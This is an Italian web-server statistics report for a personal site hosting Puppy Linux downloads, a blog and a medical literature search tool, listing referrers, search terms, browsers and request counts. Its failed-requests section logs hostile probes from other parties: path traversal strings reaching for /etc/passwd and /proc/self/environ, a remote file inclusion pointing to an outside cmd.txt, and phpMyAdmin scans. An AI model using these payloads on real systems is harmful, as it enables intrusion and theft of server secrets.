14: http://images.google.it/imgres?imgurl=http://www.debernardis.it/blog/agnone3.jpg&imgrefurl=http://www.debernardis.it/blog/&usg=__9xqE2qI-YzdUM08A-ThGOei6R8w=&h=360&w=480&sz=43&hl=it&start=2&um=1&tbnid=v_jrzcJ1kIUHxM:&tbnh=97&tbnw=129&prev=/images%3Fq%3Dagnone+bagni%26hl%3Dit%26sa%3DX%26um%3D1
13: http://images.google.it/imgres?imgurl=http://www.debernardis.it/pater2.jpg&imgrefurl=http://www.debernardis.it/diocervello.html&usg=__wQKNQoOEgyC5WA2rpsynVg7bPEY=&h=239&w=479&sz=26&hl=it&start=2&tbnid=BSLRRF4n78tkiM:&tbnh=64&tbnw=129&prev=/images%3Fq%3Ddito+di+dio%26gbv%3D2%26hl%3Dit
11: http://images.google.it/imgres?imgurl=http://www.debernardis.it/blog/agnone3.jpg&imgrefurl=http://www.debernardis.it/blog/&usg=__9xqE2qI-YzdUM08A-ThGOei6R8w=&h=360&w=480&sz=43&hl=it&start=2&itbs=1&tbnid=v_jrzcJ1kIUHxM:&tbnh=97&tbnw=129&prev=/images%3Fq%3Dagnone+bagni%26hl%3Dit%26gbv%3D2%26tbs%3Disch:1
10: http://images.google.it/imgres?imgurl=http://www.debernardis.it/blog/agnone3.jpg&imgrefurl=http://www.debernardis.it/blog/&usg=__9xqE2qI-YzdUM08A-ThGOei6R8w=&h=360&w=480&sz=43&hl=it&start=1&um=1&itbs=1&tbnid=v_jrzcJ1kIUHxM:&tbnh=97&tbnw=129&prev=/images%3Fq%3Dmare+e+sole%26um%3D1%26hl%3Dit%26tbs%3Disch:1
10: http://images.google.it/imgres?imgurl=http://www.debernardis.it/blog/agnone3.jpg&imgrefurl=http://www.debernardis.it/blog/&usg=__9xqE2qI-YzdUM08A-ThGOei6R8w=&h=360&w=480&sz=43&hl=it&start=2&um=1&tbnid=v_jrzcJ1kIUHxM:&tbnh=97&tbnw=129&prev=/images%3Fq%3Dagnone+bagni%26hl%3Dit%26sa%3DN%26um%3D1
1083: http://www.google.it/imgres
18: http://www.google.it/imgres?imgurl=http://www.debernardis.it/blog/agnone3.jpg&imgrefurl=http://www.debernardis.it/blog/&usg=__9xqE2qI-YzdUM08A-ThGOei6R8w=&h=360&w=480&sz=43&hl=it&start=1&um=1&itbs=1&tbnid=v_jrzcJ1kIUHxM:&tbnh=97&tbnw=129&prev=/images%3Fq%3Dagnone+bagni%26um%3D1%26hl%3Dit%26sa%3DN%26tbs%3Disch:1
17: http://www.google.it/imgres?imgurl=http://www.debernardis.it/blog/agnone3.jpg&imgrefurl=http://www.debernardis.it/blog/&usg=__9xqE2qI-YzdUM08A-ThGOei6R8w=&h=360&w=480&sz=43&hl=it&start=1&itbs=1&tbnid=v_jrzcJ1kIUHxM:&tbnh=97&tbnw=129&prev=/images%3Fq%3Dagnone+bagni%26hl%3Dit%26gbv%3D2%26tbs%3Disch:1
10: http://www.google.it/imgres?imgurl=http://www.debernardis.it/blog/agnone3.jpg&imgrefurl=http://www.debernardis.it/blog/&usg=__9xqE2qI-YzdUM08A-ThGOei6R8w=&h=360&w=480&sz=43&hl=it&start=1&um=1&itbs=1&tbnid=v_jrzcJ1kIUHxM:&tbnh=97&tbnw=129&prev=/images%3Fq%3Dagnone+bagni%26um%3D1%26hl%3Dit%26tbs%3Disch:1
1031: http://ladylg.beepworld.it/arte.htm
1025: http://www.google.it/url
904: http://www.debernardis.it/adv.php
864: http://www.debernardis.it/downloads/
709: http://talk.maemo.org/showthread.php
146: http://talk.maemo.org/showthread.php?t=42195&page=2
63: http://talk.maemo.org/showthread.php?t=35490&page=9
44: http://talk.maemo.org/showthread.php?p=448843
42: http://talk.maemo.org/showthread.php?t=42195&highlight=DosBox&page=2
24: http://talk.maemo.org/showthread.php?t=15185
22: http://talk.maemo.org/showthread.php?t=38606
18: http://talk.maemo.org/showthread.php?t=35490&page=10
17: http://talk.maemo.org/showthread.php?p=494199&highlight=emelFM2
17: http://talk.maemo.org/showthread.php?t=38606&highlight=evince
13: http://talk.maemo.org/showthread.php?t=42195&page=3
12: http://talk.maemo.org/showthread.php?t=12884
12: http://talk.maemo.org/showthread.php?p=440122
698: http://www.laradebernardin.it/blog/
532: http://www.laradebernardin.it/blog/?p=145
693: http://puppylinux.org/wikka/Puplets
11: http://puppylinux.org/wikka/Puplets?show_comments=1
670: http://www.debernardis.it/dotpups/
17: http://www.debernardis.it/dotpups/?C=N;O=D
583: http://pupweb.org/wikka/FoundationPuppy
35: http://pupweb.org/wikka/FoundationPuppy?show_comments=1
558: http://murga-linux.com/puppy/viewtopic.php
473: http://murga-linux.com/puppy/viewtopic.php?t=10779
16: http://murga-linux.com/puppy/viewtopic.php?search_id=1244677760&t=10779
419: http://www.google.co.in/search
413: http://www.puppylinux.org/wiki/archives/old-wikka-wikki/categoryderivative/rudypuppy
404: http://www.puppylinux.org/wikka/Puplets
384: http://taringa.net/posts/downloads/1039262/%C2%BFTen%C3%A9s-ganas-de-empezar-a-usar-Linux-[Megapost].html
366: http://www.debernardis.it/ventannidopo/
362: http://www.google.co.uk/search
13: http://www.google.co.uk/search?q=medicine+and+science+in+sports+and+exercise+abbreviation&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-GB:official&client=firefox-a
356: http://www.puppylinux.org/wiki/archives/old-wikka-wikki/categoryderivative/puplets
335: http://www.google.com/url
310: http://www.google.ca/search
12: http://www.google.ca/search?q=medicine+and+science+in+sports+and+exercise+abbreviation&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a
282: http://it.wikipedia.org/wiki/Cocaina
271: http://www.google.cn/search
259: http://www.google.com.hk/search
258: http://www.google.co.jp/search
251: http://www.google.de/search
11: http://www.google.de/search?hl=de&q=hauenschild+omega3&btnG=Suche&meta=&aq=f&oq=
242: http://pupweb.org/wikka/RudyPuppy
210: http://www.debernardis.it/n800/
207: http://kriskevin.splinder.com/archive/2009-03
197: http://www.google.com.au/search
184: http://puppylinux.org/wiki/archives/old-wikka-wikki/categoryderivative/rudypuppy
181: http://n800-as-a-professional-tool.blogspot.com/2007/10/word-processing-on-n800.html
159: http://www.debernardis.it/index.htm
157: http://www.debernardis.it/suboxone.html
149: http://www.google.fr/search
149: http://images.google.com/imgres
144: http://www.google.com.br/search
137: http://kriskevin.splinder.com/tag/mare+e+sole
133: http://www.finanzaonline.com/forum/showthread.php
117: http://www.finanzaonline.com/forum/showthread.php?t=1211141
131: http://n800-as-a-professional-tool.blogspot.com/2007/10/we-must-thank-penguinbait-one-of-happy.html
128: http://www.google.es/search
127: http://www.debernardis.it/stats/7/
126: http://new.taringa.net/posts/downloads/1039262/_Tenes-ganas-de-empezar-a-usar-Linux_-_Megapost_.html
109: http://search.conduit.com/Results.aspx
106: http://www.google.ch/search
105: http://www.debernardis.it/rudypuppy070227.iso
103: http://www.google.co.kr/search
102: http://www.google.co.in/url
102: http://translate.google.com/translate
93: http://tw.search.yahoo.com/search
91: http://pupweb.org/wikka/Puplets
53: http://pupweb.org/wikka/Puplets?show_comments=1
91: http://en.wikibooks.org/wiki/Puppy_Linux/Puplets
89: http://translate.googleusercontent.com/translate_c
84: http://ricerca.virgilio.it/ricerca
84: http://www.strangeart.it/2009/05/i-segreti-della-cappella-sistina-terza-parte/
82: http://wwww.taringa.net/posts/downloads/1039262/%C2%BFTen%C3%A9s-ganas-de-empezar-a-usar-Linux-[Megapost].html
81: http://www.debernardis.it/Victor_Rizza_by_Rosy.html
80: http://www.debernardis.it/blog/index.html
77: http://www.google.com.tw/search
77: http://www.debernardis.it/downloads/evince2008/
76: http://www.9reyes.net/linux/86465-gnome-ubuntu-kubuntu-kde.html
76: http://www.debernardis.it/stats/
74: http://www.debernardis.it/index.php
73: http://search.yahoo.com/search
72: http://www.google.com.tr/search
72: http://www.bing.com/images/search
67: http://www.google.nl/search
67: http://www.debernardis.it/stats/all/
63: http://it.search.yahoo.com/search
62: http://www.google.com.eg/search
62: http://www.debernardis.it/stats/30/
60: http://www.google.pl/search
59: http://www.debernardis.it/cgi-sys/cgiemail/protected/ciripicchia.txt
59: http://www.debernardis.it/stats/90/
58: http://www.facebook.com/l.php
56: http://link4fb.site90.net/link-per-facebook-vari-tutto.html
55: http://www.google.be/search
55: http://whois.domaintools.com/debernardis.it
54: http://www.google.ca/url
53: http://en.wikipedia.org/wiki/Gamma-Hydroxybutyric_acid
52: http://www.google.co.uk/url
52: http://n800-as-a-professional-tool.blogspot.com/
51: http://www.google.de/url
49: http://www.google.com.mx/search
47: http://www.google.com/imgres
47: http://www.puppylinux.org/
46: http://www.google.se/search
11: http://www.google.se/search?hl=sv&lr=&q=Omega-3+and+MMP-9+inhibition&start=40&sa=N
45: http://kriskevin.splinder.com/
12: http://kriskevin.splinder.com/?from=80
43: http://www.taringa.net/posts/downloads/1039262/_Tenes-ganas-de-empezar-a-usar-Linux_-_Megapost_.html
43: http://www.google.com.ph/search
42: http://www.google.pt/search
41: http://www.google.ru/search
41: http://www.beepworld.it/members/ladylg/arte.htm
40: http://it.ask.com/web
10: http://it.ask.com/web?q=immagine+del+cervello&qsrc=999&siteid=4110&l=dis
40: http://webcache.googleusercontent.com/search
15: http://webcache.googleusercontent.com/search?q=cache:oNZrPSnuVVYJ:www.debernardis.it/miniature.html+le+foto+di+mia+moglie&cd=102&hl=it&ct=clnk&gl=it
40: http://www.google.it/m/search
39: http://lisoladiparolerubatealve.groups.live.com/discussions/discussion.aspx
39: http://lisoladiparolerubatealve.groups.live.com/discussions/discussion.aspx?id=cns!915C00251B24B!1233
38: http://www.google.com.au/url
38: http://debernardis.it/medasq.php
38: http://www.google.co.th/search
38: http://mobilestan.net/showthread.php
38: http://mobilestan.net/showthread.php?t=95972
37: http://www.google.com/
37: http://pannacioccolato.groups.live.com/discussions/discussion.aspx
34: http://pannacioccolato.groups.live.com/discussions/discussion.aspx?id=cns!95A6F228FA200!4630
35: http://www.facebook.com/home.php
21: http://www.facebook.com/home.php?
35: http://www.google.co.nz/search
34: http://www.fars-gsm.com/showthread.php
34: http://www.fars-gsm.com/showthread.php?t=33355
34: http://www.puppylinux.org/wiki/archives/old-wikka-wikki/categorycommunity/foundationpuppy
34: http://www.google.gr/search
33: http://www.google.fr/url
33: http://209.85.135.132/search
33: http://209.85.129.132/search
32: http://64.233.169.132/translate_c
26: http://64.233.169.132/translate_c?hl=es&langpair=en|es&u=http://www.debernardis.it/dotpups/&rurl=translate.google.com&client=tmpg&usg=ALkJrhgX9fyTk-yOkrYjZJ5DZxbLiyE7qA
32: http://www.debernardis.it/wiki/index.cgi
32: http://zh.wikipedia.org/wiki/%CE%93-%E7%BE%9F%E5%9F%BA%E4%B8%81%E9%85%B8
31: http://www.google.sk/search
31: http://www.google.ro/search
31: http://www.google.com.pk/search
30: http://www.google.dk/search
30: http://208.109.22.214/puppy/viewtopic.php
30: http://scorzedilimone.groups.live.com/discussions/discussion.aspx
28: http://scorzedilimone.groups.live.com/discussions/discussion.aspx?id=cns!9CB17599EEDC4!5357
29: http://www.google.com.my/search
29: http://www.google.com.ar/search
29: http://www.taringa.net/posts/1039262
28: http://cronachedalpianetat.blogspot.com/
28: http://www.meotida.orc.ru/rus/doc/article10.htm
28: http://ubuntuforums.org/showthread.php
22: http://ubuntuforums.org/showthread.php?t=190391
28: http://www.google.com.br/url
27: http://www.google.co.za/search
27: http://search.seznam.cz/svet
27: http://forums.internettablettalk.com/showthread.php
14: http://forums.internettablettalk.com/showthread.php?t=42195&page=2
27: http://www.bing.com/spresults.aspx
27: http://it.yhs.search.yahoo.com/avg/search
26: http://www.google.ie/search
26: http://images.google.com.sa/imgres
26: http://www.bioblog.it/2007/10/01/suboxone-nuova-via-di-salvezza-contro-la-droga/20071370
26: http://ricercaimmagini.virgilio.it/preview
26: http://www.google.co.il/search
25: http://search.msn.com/results.aspx
25: http://www.puppylinux.org/wiki/archives/old-wikka-wikki/categoryusercontributions/experimentalbt
24: http://www.google.es/url
24: http://image.youdao.com/imagesa
24: http://image.youdao.com/imagesa?q=youdao&ue=utf8&thumbpos=7
23: http://www.google.it/
23: http://search.yahoo.co.jp/search
22: http://www.google.com.sg/search
22: http://www.google.ch/url
22: res://ieframe.dll/tabswelcome.htm
22: http://www.mobilestan.net/showthread.php
22: http://www.mobilestan.net/showthread.php?t=95972
22: http://www.google.com/custom
22: http://link4fb.site90.net/
22: http://www.google.com.ua/search
21: http://debernardis.it/n800/
21: http://www.google.de/imgres
21: http://search.live.com/results.aspx
20: http://www.google.at/search
20: res://ieframe.dll/dnserror.htm
20: http://www.google.com.ph/url
20: http://www.google.hu/search
20: http://www.netcraft.com/survey/
20: http://www.myspace.com/davide27
20: http://n800-as-a-professional-tool.blogspot.com/search
3830: [non elencate: 1.476 URL]
(Altre statistiche: Inizio: Sommario generale: Resoconto mesi: Resoconto settimane: Sommario giorni della settimana: Sommario ore del giorno: Resoconto domini: Resoconto organizzazioni: Resoconto host: Resoconto provenienze richieste: Resoconto parole ricerca: Sommario browser: Resoconto sistemi operativi: Resoconto codici di stato: Resoconto dimensione dei file: Resoconto tipi di file: Resoconto directory: Resoconto insuccessi: Resoconto ricerche interne: Resoconto richieste)
Questo rapporto elenca le parole usate nei motori di ricerca per trovare questo sito.
Elenco delle prime 30 parole cercate in ordine di numero di richieste, in ordine di numero di richieste.
#rich: chiave ricerca -----: -------------- 2005: michelangelo 1963: di 1510: in 1436: and 1276: medicine 1120: abbreviation 1096: suboxone 1094: creazione 979: adamo 939: j 932: of 785: cervello 755: advancements 739: dio 698: de 655: bernardis 651: med 615: journal 608: la 537: res 507: science 495: sports 436: biol 418: exercise 403: le 403: issn 368: e 361: noisy 350: metab 347: grand 37050: [non elencate: 7.362 chiavi ricerca]
(Altre statistiche: Inizio: Sommario generale: Resoconto mesi: Resoconto settimane: Sommario giorni della settimana: Sommario ore del giorno: Resoconto domini: Resoconto organizzazioni: Resoconto host: Resoconto provenienze richieste: Resoconto parole ricerca: Sommario browser: Resoconto sistemi operativi: Resoconto codici di stato: Resoconto dimensione dei file: Resoconto tipi di file: Resoconto directory: Resoconto insuccessi: Resoconto ricerche interne: Resoconto richieste)
Questo rapporto elenca il produttore dei browser usati dai visitatori.
Elenco dei primi 20 browser in ordine di numero di richieste di pagine, in ordine di numero di richieste di pagine.
n.: #rich: #pag.: browser --: -----: -----: ------- 1: 22526: 22331: Baiduspider+(+http: : 22526: 22331: Baiduspider+(+http://www 2: 83778: 10163: MSIE : 28833: 3562: MSIE/7 : 30333: 3404: MSIE/6 : 22287: 2708: MSIE/8 : 1788: 442: MSIE/5 : 412: 30: MSIE/4 : 88: 14: MSIE/2 : 12: 3: MSIE/3 3: 83999: 7359: Netscape (compatible) 4: 45829: 4830: Mozilla : 37964: 3816: Mozilla/1 : 23: 1: Mozilla/2 5: 35580: 2723: msnbot : 29232: 2349: msnbot/2 : 6347: 374: msnbot/1 6: 11876: 1555: Safari : 3707: 492: Safari/533 : 3490: 405: Safari/532 : 2209: 307: Safari/531 : 745: 89: Safari/525 : 386: 87: Safari/528 : 892: 84: Safari/530 : 129: 37: Safari/413 : 51: 20: Safari/419 : 89: 12: Safari/534 : 104: 11: Safari/523 7: 4851: 1268: Yandex : 4851: 1268: Yandex/1 8: 2288: 433: Netscape : 1037: 300: Netscape/5 : 842: 115: Netscape/4 : 56: 12: Netscape/0 : 12: 5: Netscape/3 : 1: 1: Netscape/6 9: 2980: 335: Opera : 2374: 202: Opera/9 : 186: 61: Opera/7 : 351: 60: Opera/8 : 40: 12: Opera/6 10: 3698: 238: libwww-perl : 3698: 238: libwww-perl/5 11: 548: 174: Jyxobot : 548: 174: Jyxobot/1 12: 298: 137: WinHttp 13: 178: 125: Eurobot : 178: 125: Eurobot/1 14: 139: 98: Speedy Spider (http: : 139: 98: Speedy Spider (http://www 15: 504: 83: DoCoMo : 504: 83: DoCoMo/2 16: 118: 81: CatchBot : 116: 79: CatchBot/3 : 2: 2: CatchBot/1 17: 703: 79: msnbot-media : 703: 79: msnbot-media/1 18: 586: 69: L.webis : 586: 69: L.webis/0 19: 970: 67: Linguee Bot (http: : 970: 67: Linguee Bot (http://www 20: 116: 66: findfiles.net : 116: 66: findfiles.net/0 : 13474: 1172: [non elencati: 312 browser]
(Altre statistiche: Inizio: Sommario generale: Resoconto mesi: Resoconto settimane: Sommario giorni della settimana: Sommario ore del giorno: Resoconto domini: Resoconto organizzazioni: Resoconto host: Resoconto provenienze richieste: Resoconto parole ricerca: Sommario browser: Resoconto sistemi operativi: Resoconto codici di stato: Resoconto dimensione dei file: Resoconto tipi di file: Resoconto directory: Resoconto insuccessi: Resoconto ricerche interne: Resoconto richieste)
Questo rapporto elenca i sistemi operativi usati dai visitatori.
Elenco dei sistemi operativi, in ordine di numero di richieste di pagine.
n.: #rich: #pag.: sist.op. --: ------: -----: -------- 1: 66157: 27200: Robot 2: 123122: 14632: Windows : 79573: 9482: Windows XP : 31784: 3649: Windows sconosciuto : 9230: 1203: Windows 2000 : 1474: 101: Windows 98 : 287: 85: Windows NT : 231: 62: Windows ME : 166: 39: Windows 95 : 360: 6: Windows CE : 17: 5: Windows 3.1 3: 110181: 9807: Sist. op. sconosciuto 4: 10057: 969: Unix : 10012: 960: Linux : 24: 6: SunOS : 9: 2: Altro Unix : 12: 1: BSD 5: 5518: 776: Macintosh 6: 2: 2: Amiga 7: 2: 0: OS/2
(Altre statistiche: Inizio: Sommario generale: Resoconto mesi: Resoconto settimane: Sommario giorni della settimana: Sommario ore del giorno: Resoconto domini: Resoconto organizzazioni: Resoconto host: Resoconto provenienze richieste: Resoconto parole ricerca: Sommario browser: Resoconto sistemi operativi: Resoconto codici di stato: Resoconto dimensione dei file: Resoconto tipi di file: Resoconto directory: Resoconto insuccessi: Resoconto ricerche interne: Resoconto richieste)
Questo rapporto elenca il codice di stato HTTP di tutte le richieste.
Elenco dei codici di stato, in ordine numerico.
#rich: codice di stato
------: ---------------
336945: 200 OK
5300: 206 Partial content
303: 301 Document moved permanently
4338: 302 Document found elsewhere
7524: 304 Not modified since last retrieval
285: 400 Bad request
2: 401 Authentication required
29: 403 Access forbidden
47300: 404 Document not found
459: 405 Method not allowed
5: 416 Requested range not valid
(Altre statistiche: Inizio: Sommario generale: Resoconto mesi: Resoconto settimane: Sommario giorni della settimana: Sommario ore del giorno: Resoconto domini: Resoconto organizzazioni: Resoconto host: Resoconto provenienze richieste: Resoconto parole ricerca: Sommario browser: Resoconto sistemi operativi: Resoconto codici di stato: Resoconto dimensione dei file: Resoconto tipi di file: Resoconto directory: Resoconto insuccessi: Resoconto ricerche interne: Resoconto richieste)
Questo rapporto elenca le dimensioni dei files.
lunghezza: #rich: %byte:
-----------: ------: ------:
0: 329: :
1B- 10B: 23: :
11B- 100B: 5: :
101B- 1kB: 25315: :
1kB- 10kB: 176657: 0,20%:
10kB-100kB: 136783: 2,22%:
100kB- 1MB: 6906: 0,69%:
1MB- 10MB: 2088: 2,16%:
10MB-100MB: 1019: 11,65%:
100MB- 1GB: 644: 83,10%:
(Altre statistiche: Inizio: Sommario generale: Resoconto mesi: Resoconto settimane: Sommario giorni della settimana: Sommario ore del giorno: Resoconto domini: Resoconto organizzazioni: Resoconto host: Resoconto provenienze richieste: Resoconto parole ricerca: Sommario browser: Resoconto sistemi operativi: Resoconto codici di stato: Resoconto dimensione dei file: Resoconto tipi di file: Resoconto directory: Resoconto insuccessi: Resoconto ricerche interne: Resoconto richieste)
Questo rapporto elenca le estensioni dei files richiesti sul sito.
Elenco delle estensioni con almeno 0,1% del traffico, in ordine di traffico.
#rich: %byte: estensione ------: ------: ---------- 3903: 93,55%: .iso 2845: 1,78%: .deb 189378: 1,46%: .php [PHP] 2987: 0,96%: .pup 123: 0,74%: .bz2 49339: 0,58%: .jpg [JPEG graphics] 37917: 0,33%: [directory] 104: 0,25%: .pet 233: 0,12%: .zip [Zip archives] 62940: 0,23%: [non elencate: 23 estensioni]
(Altre statistiche: Inizio: Sommario generale: Resoconto mesi: Resoconto settimane: Sommario giorni della settimana: Sommario ore del giorno: Resoconto domini: Resoconto organizzazioni: Resoconto host: Resoconto provenienze richieste: Resoconto parole ricerca: Sommario browser: Resoconto sistemi operativi: Resoconto codici di stato: Resoconto dimensione dei file: Resoconto tipi di file: Resoconto directory: Resoconto insuccessi: Resoconto ricerche interne: Resoconto richieste)
Questo rapporto elenca le directory dalle quali sono stati richiesti i files, comprese tutte le loro sottodirectory.
Elenco delle directory con almeno 0,01% del traffico, in ordine di traffico.
#rich: %byte: directory ------: ------: --------- 319566: 95,90%: [directory principale] 2739: 2,34%: /n800/ 3900: 1,21%: /dotpups/ 2470: 0,32%: /downloads/ 14903: 0,15%: /blog/ 1969: 0,06%: /stats/ 4222: 0,02%: [non elencate: 17 directory]
(Altre statistiche: Inizio: Sommario generale: Resoconto mesi: Resoconto settimane: Sommario giorni della settimana: Sommario ore del giorno: Resoconto domini: Resoconto organizzazioni: Resoconto host: Resoconto provenienze richieste: Resoconto parole ricerca: Sommario browser: Resoconto sistemi operativi: Resoconto codici di stato: Resoconto dimensione dei file: Resoconto tipi di file: Resoconto directory: Resoconto insuccessi: Resoconto ricerche interne: Resoconto richieste)
Questo rapporto elenca i files che hanno causato un insuccesso, per esempio files non trovati.
Elenco dei primi 30 file in ordine di numero di richieste fallite, in ordine di numero di richieste fallite.
#rich: file -----: ---- 26335: /robots.txt 10: /robots.txt?z=J+Fr+Ophtalmol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals 808: /j2me-vnc.jpg 397: / 254: /nucleus/xmlrpc/server.php 200: http://proxyjudge1.proxyfire.net/fastenv 179: /dotpups/000116603_00004.temp000a.htm 160: /rudypuppy070104.iso 139: /rudypuppy061020r2.iso 123: /w00tw00t.at.ISC.SANS.DFind:) 104: /phpmyadmin/scripts/setup.php 102: /blog/index.html/rss.xml 97: /phpMyAdmin/scripts/setup.php 96: /home.php 13: /home.php?subject=http://www.pammo.cz/data/cmd.txt?? 86: /blog/index.html/atom.xml 82: /icons/ball.gif 82: HTTP/1.1 77: /dotpups/000081106_00002.temp0004.htm 70: /dotpups/000116603_00004.temp0001.htm 69: /help.php 39: /help.php?page=../../../../../../../../../../../../../../../proc/self/environ%00 12: /help.php?page=../../../../../../../../../../../../../../../etc/passwd%00 67: /_vti_bin/_vti_aut/author.dll 65: /scripts/setup.php 65: /diocervello.html 57: /mysqladmin/scripts/setup.php 55: /dotpups/000116603_00004.temp0007.htm 55: /contact.php 53: /phpMyAdmin-2.6.2-rc1/scripts/setup.php 53: /php-my-admin/scripts/setup.php 52: /phpMyAdmin-2.6.3/scripts/setup.php 52: /pma/scripts/setup.php 51: /websql/scripts/setup.php 17995: [non elencati: 3.558 file]
(Altre statistiche: Inizio: Sommario generale: Resoconto mesi: Resoconto settimane: Sommario giorni della settimana: Sommario ore del giorno: Resoconto domini: Resoconto organizzazioni: Resoconto host: Resoconto provenienze richieste: Resoconto parole ricerca: Sommario browser: Resoconto sistemi operativi: Resoconto codici di stato: Resoconto dimensione dei file: Resoconto tipi di file: Resoconto directory: Resoconto insuccessi: Resoconto ricerche interne: Resoconto richieste)
Questo rapporto elenca le richieste effettuate ai motori di ricerca interni a questo sito.
Elenco delle prime 30 ricerche in ordine di numero di richieste, in ordine di numero di richieste.
#rich: chiave ricerca ------: -------------- 2655: http://217.218.225.2:2082/index.html? 1483: sports med 1435: am j resp crit care med [ta] or crit care med [ta] and clinical trials [mesh terms] or clinical trial [text word] or meta analysis [mesh terms] or meta analysis [text word] or guideline [all fields] or consensus development conference [all fields] or systematic [sb] 1328: fatty acids omega 3 [mesh] | omega 3 [all] | eicosapentaen* [all] | docosahexaen* [all] & nervous system diseases [mesh] | nervous system diseases [all] 1222: environ health 1176: fatty acids%2c omega 3 %5bmesh%5d %7c omega 3 %5ball%5d %7c eicosapentaen* %5ball%5d %7c docosahexaen* %5ball%5d 1100: nutrition 1051: fatty acids omega 3 [mesh] | omega 3 [all] | eicosapentaen* [all] | docosahexaen* [all] & hyperlipidemia [mesh] | hyperlipid* [all] | hyperlipem* [all] | hyperlipaem* [all] | hypercholester* [all] | hypertriglycerid* [all] 1000: fatty acids omega 3 [mesh] | omega 3 [all] | eicosapentaen* [all] | docosahexaen* [all] & pregnancy [mesh] | pregnancy complications [mesh] | lactation [mesh] | pregn* [all] | lactati* [all] 961: fatty acids omega 3 [mesh] | omega 3 [all] | eicosapentaen* [all] | docosahexaen* [all] 910: arthritis rheum [ta] or br j rheumatol [ta] and clinical trials [mesh terms] or clinical trial [text word] or meta analysis [mesh terms] or meta analysis [text word] or guideline [all fields] or consensus development conference [all fields] or systematic [sb] 907: cell mol biol noisy le grand 905: fatty acids omega 3 [majr] & cardiovascular diseases [majr 846: fatty acids omega 3 [majr] & neoplasms [majr] 844: br j addict [journal] or alcohol clin exp res [journal] or alcohol [journal] or j stud alcohol [journal] or addiction [journal] or alcohol alcohol [journal] or drug alcohol depend [journal] or int j addict [journal] and clinical trials [mesh terms] or clinical trial [text word] or meta analysis [mesh terms] or meta analysis [text word] or guideline [all fields] or consensus development conference [all fields] or systematic [sb] 838: forum nutr 830: hepatology 804: sodium oxybate [mesh] and alcohol related disorders [mesh] 752: fatty acids omega 3 [mesh] | omega 3 [all] | eicosapentaen* [all] | docosahexaen* [all] & cardiovascular diseases [mesh] | cardiovascular disease* [all] | cardiovascular disorder* [all] | heart disease* [all] | heart disorder* [all] | vascular disease* [all] | vascular disorder* [all] 751: fatty acids omega 3 [mesh] | omega 3 [all] | eicosapentaen* [all] | docosahexaen* [all] & neoplasms [mesh] | neoplas* [all] | tumor* [all] | tumour* [all] | cancer* [all] | carcin* [all] | sarcom* [all] 743: fatty acids omega 3 [majr] & inflammatory bowel diseases [majr] 738: j orthop res [ta] or phys ther [ta] or spine [ta] or osteoporos int [ta] and clinical trials [mesh terms] or clinical trial [text word] or meta analysis [mesh terms] or meta analysis [text word] or guideline [all fields] or consensus development conference [all fields] or systematic [sb] 723: fatty acids omega 3 [mesh] | omega 3 [all] | eicosapentaen* [all] | docosahexaen* [all] & diabetes mellitus [mesh] | diab* [all] 706: fatty acids omega 3 [majr] & hyperlipidemia [majr 701: am j epidemiol [ta] or am j public health [ta] or j clin epidemiol [ta] and clinical trials [mesh terms] or clinical trial [text word] or meta analysis [mesh terms] or meta analysis [text word] or guideline [all fields] or consensus development conference [all fields] or systematic [sb] 689: fatty acids omega 3 [majr] & nervous system diseases [majr] 661: j nutr 642: fatty acids omega 3 [mesh] | omega 3 [all] | eicosapentaen* [all] | docosahexaen* [all] & arthritis [mesh] | arthrit* [all] | osteoarthrit* [all] | arthros* [all] | osteoarthros* [all] 642: fatty acids omega 3 [mesh] | omega 3 [all] | eicosapentaen* [all] | docosahexaen* [all] & mental disorders [mesh] | schizophren* [all] | depression [all] | bipolar* [all] | mania* [all] | manic [all] | psychos* [all] | psychot* [all] 640: j immunol 118929: [non elencate: 5.268 chiavi ricerca]
(Altre statistiche: Inizio: Sommario generale: Resoconto mesi: Resoconto settimane: Sommario giorni della settimana: Sommario ore del giorno: Resoconto domini: Resoconto organizzazioni: Resoconto host: Resoconto provenienze richieste: Resoconto parole ricerca: Sommario browser: Resoconto sistemi operativi: Resoconto codici di stato: Resoconto dimensione dei file: Resoconto tipi di file: Resoconto directory: Resoconto insuccessi: Resoconto ricerche interne: Resoconto richieste)
Questo rapporto elenca i files richiesti sul sito.
Elenco dei file con almeno 20 richieste, in ordine di numero di richieste.
#rich: %byte: ora ultimo accesso: file
------: ------: ------------------: ----
184341: 1,42%: 7-Set-10 23:49: /medasq.php
2654: : 7-Set-10 08:24: /medasq.php?z=http://217.218.225.2:2082/index.html?
762: : 7-Set-10 02:43: /medasq.php?z=Forum+Nutr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
719: : 7-Set-10 19:14: /medasq.php?z=Sports+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
716: : 7-Set-10 03:16: /medasq.php?z=Cell+Mol+Biol+(Noisy-le-grand)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
662: 0,02%: 7-Set-10 12:57: /medasq.php?z=(fatty+acids,+omega+3+[mesh]+|+omega-3+[all]+|+eicosapentaen*+[all]+|+docosahexaen*+[all])+%26++(hyperlipidemia+[mesh]+|+hyperlipid*+[all]+|+hyperlipem*+[all]+|+hyperlipaem*+[all]+|+hypercholester*+[all]+|+hypertriglycerid*+[all])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
661: : 6-Set-10 12:27: /medasq.php?z=Hepatology&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
637: : 7-Set-10 16:36: /medasq.php?z=Horm+Metab+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
620: : 6-Set-10 00:57: /medasq.php?z=Environ+Health&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
618: 0,02%: 7-Set-10 21:15: /medasq.php?z=(fatty+acids,+omega+3+[mesh]+|+omega-3+[all]+|+eicosapentaen*+[all]+|+docosahexaen*+[all])+%26+(nervous+system+diseases+[mesh]+|+nervous+system+diseases+[all])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
569: 0,03%: 7-Set-10 04:25: /medasq.php?z=sodium+oxybate+[mesh]+and+alcohol-related+disorders+[mesh]&abstract=0&quanti=50&highlight=2&daevidenziare=oxybate+alcohol&dovesiamo=0&azione=Show
